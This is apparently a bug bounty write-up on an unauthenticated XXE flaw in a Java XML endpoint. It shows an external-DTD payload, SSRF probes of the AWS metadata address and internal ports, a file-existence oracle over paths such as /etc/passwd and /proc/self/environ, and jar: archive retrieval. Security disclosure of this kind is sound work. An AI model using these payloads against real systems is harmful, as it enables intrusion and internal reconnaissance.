September 30, 2026
Unauthenticated XXE leading to SSRF and internal resource access
During my BBH, i was looking at a subdomain that returned 403 on everything.

By Moaaz Afifi
4 min read
I sent an XML body to the root and got a 500 back with a full Java stack trace. The trace showed Apache Tuscany SCA running JAXB databinding through Wink JAX-RS on Tomcat, with an Imperva servlet agent and two custom filters in the chain.
An old Java SOA stack is one of the first places I check for XML parser issues.
Confirming the parser is vulnerable
POST /photobookprice HTTP/1.1
Host: TARGET
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE price SYSTEM "file:///etc/hostname"><price xmlns:p="http://TARGET/services/product/photobook"/>POST /photobookprice HTTP/1.1
Host: TARGET
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE price SYSTEM "file:///etc/hostname"><price xmlns:p="http://TARGET/services/product/photobook"/>The server returned:
SAXParseException: The markup declarations contained or pointed to by the document
type declaration must be well-formed.
systemId: file:///etc/hostname
lineNumber: 1
columnNumber: 1
at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDeclsSAXParseException: The markup declarations contained or pointed to by the document
type declaration must be well-formed.
systemId: file:///etc/hostname
lineNumber: 1
columnNumber: 1
at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDeclsThe important part was systemId: file:///etc/hostname. The parser attempted to resolve the external DTD from the local filesystem and then failed while parsing the retrieved content because /etc/hostname is not valid DTD syntax. This established that external file:// resources were being processed by the XML parser.
OOB confirmation
The application returned an error complaining about an unexpected <html> element. The OAST endpoint had returned an HTML response, and that response reached the JAXB parsing layer through the external entity. The collector recorded:
Three different AWS egress IPs within the same second, showing that the outbound requests were coming through multiple backend egress sources.
SSRF to internal network
With external entity resolution confirmed, I tested the AWS instance metadata endpoint:
Server returned HTTP response code: 401 for URL: http://169.254.169.254/latest/meta-data/Server returned HTTP response code: 401 for URL: http://169.254.169.254/latest/meta-data/โฆ
IMDSv2 is enforced, so no credentials were obtained. The important part is that the request reached 169.254.169.254 and the backend received an HTTP 401 response. I then used the response behavior as a signal to enumerate internal services:
Target Response Result
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
http://INTERNAL-HOST:8080/ unexpected element {xhtml}html Alive, past edge
http://127.0.0.1:8888/metrics parse-success (HTTP 200) Localhost sidecar
http://INTERNAL-HOST:9200/ connect timed out Filtered
http://127.0.0.1:8005/ Connection reset Tomcat shutdown port
http://127.0.0.1:8009/ Connection refused AJP closed
http://BOGUS-HOST.example/ hostname echoed in error DNS oracleTarget Response Result
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
http://INTERNAL-HOST:8080/ unexpected element {xhtml}html Alive, past edge
http://127.0.0.1:8888/metrics parse-success (HTTP 200) Localhost sidecar
http://INTERNAL-HOST:9200/ connect timed out Filtered
http://127.0.0.1:8005/ Connection reset Tomcat shutdown port
http://127.0.0.1:8009/ Connection refused AJP closed
http://BOGUS-HOST.example/ hostname echoed in error DNS oracleThe different responses provided a practical internal service and port enumeration oracle.
In-band SSRF content retrieval
One internal endpoint went beyond a simple connectivity signal. The Axis service inventory was blocked externally with a 403 on /services/*. I requested the same resource through the vulnerable XML endpoint:
The internal response came back through the JAXB error envelope:
<h2>And now... Some Services</h2>
<ul>
<li>AdminService <a href="http://127.0.0.1:8080/services/AdminService?wsdl">(wsdl)</a></li>
<li>Version <a href="http://127.0.0.1:8080/services/Version?wsdl">(wsdl)</a></li>
</ul><h2>And now... Some Services</h2>
<ul>
<li>AdminService <a href="http://127.0.0.1:8080/services/AdminService?wsdl">(wsdl)</a></li>
<li>Version <a href="http://127.0.0.1:8080/services/Version?wsdl">(wsdl)</a></li>
</ul>This was an in-band SSRF primitive, not just a port check. The server fetched an internal HTTP resource and returned its contents to the external caller.
File existence oracle
The exception behavior changed depending on whether the requested path existed:
Path Exception class Result
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
file:///etc/hostname must be well-formed EXISTS
file:///etc/passwd must be well-formed EXISTS
file:///proc/self/environ must be well-formed EXISTS
file:///dist/tomcat/conf/server.xml must be well-formed EXISTS
file:///dist/tomcat/webapps/ROOT/WEB-INF/web.xml must be well-formed EXISTS
file:///dist/tomcat/README No such file or directory ABSENT (control)
file:///etc/zzq-nonexistent-7781 No such file or directory ABSENT (control)Path Exception class Result
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
file:///etc/hostname must be well-formed EXISTS
file:///etc/passwd must be well-formed EXISTS
file:///proc/self/environ must be well-formed EXISTS
file:///dist/tomcat/conf/server.xml must be well-formed EXISTS
file:///dist/tomcat/webapps/ROOT/WEB-INF/web.xml must be well-formed EXISTS
file:///dist/tomcat/README No such file or directory ABSENT (control)
file:///etc/zzq-nonexistent-7781 No such file or directory ABSENT (control)Two distinct exception classes. Existing files produce the DTD parsing error; nonexistent paths produce the filesystem error. A boolean oracle across the origin filesystem without ever reading file contents.
jar: disk write
The Java jar: URL handler exposed another primitive. I supplied a remote archive and referenced a nonexistent entry:
The URLJarFile.retrieve stack and the generated temporary archive path show that the Java jar: handler retrieved the remote archive and used a temporary file under /dist/tomcat/temp/ while processing it.
I also checked whether this could be chained into code execution through Jackson polymorphic deserialization:
@class and @type were silently ignored. No working deserialization chain was found, so I am not claiming RCE. The confirmed primitive is server-side remote archive retrieval and temporary-file write through the Java jar: URL scheme.
Impact
The vulnerable XML endpoint allowed an unauthenticated attacker to make the backend resolve attacker-controlled external entities, providing:
- Server-side HTTP requests to internal and external hosts
- Access attempts to link-local infrastructure (IMDS reachable, IMDSv2 blocked credentials)
- Internal service and port enumeration via response differentials
- In-band retrieval of internal HTTP response bodies
- A filesystem path existence oracle via exception class differential
- Remote archive retrieval and temporary-file write via the
jar:URL scheme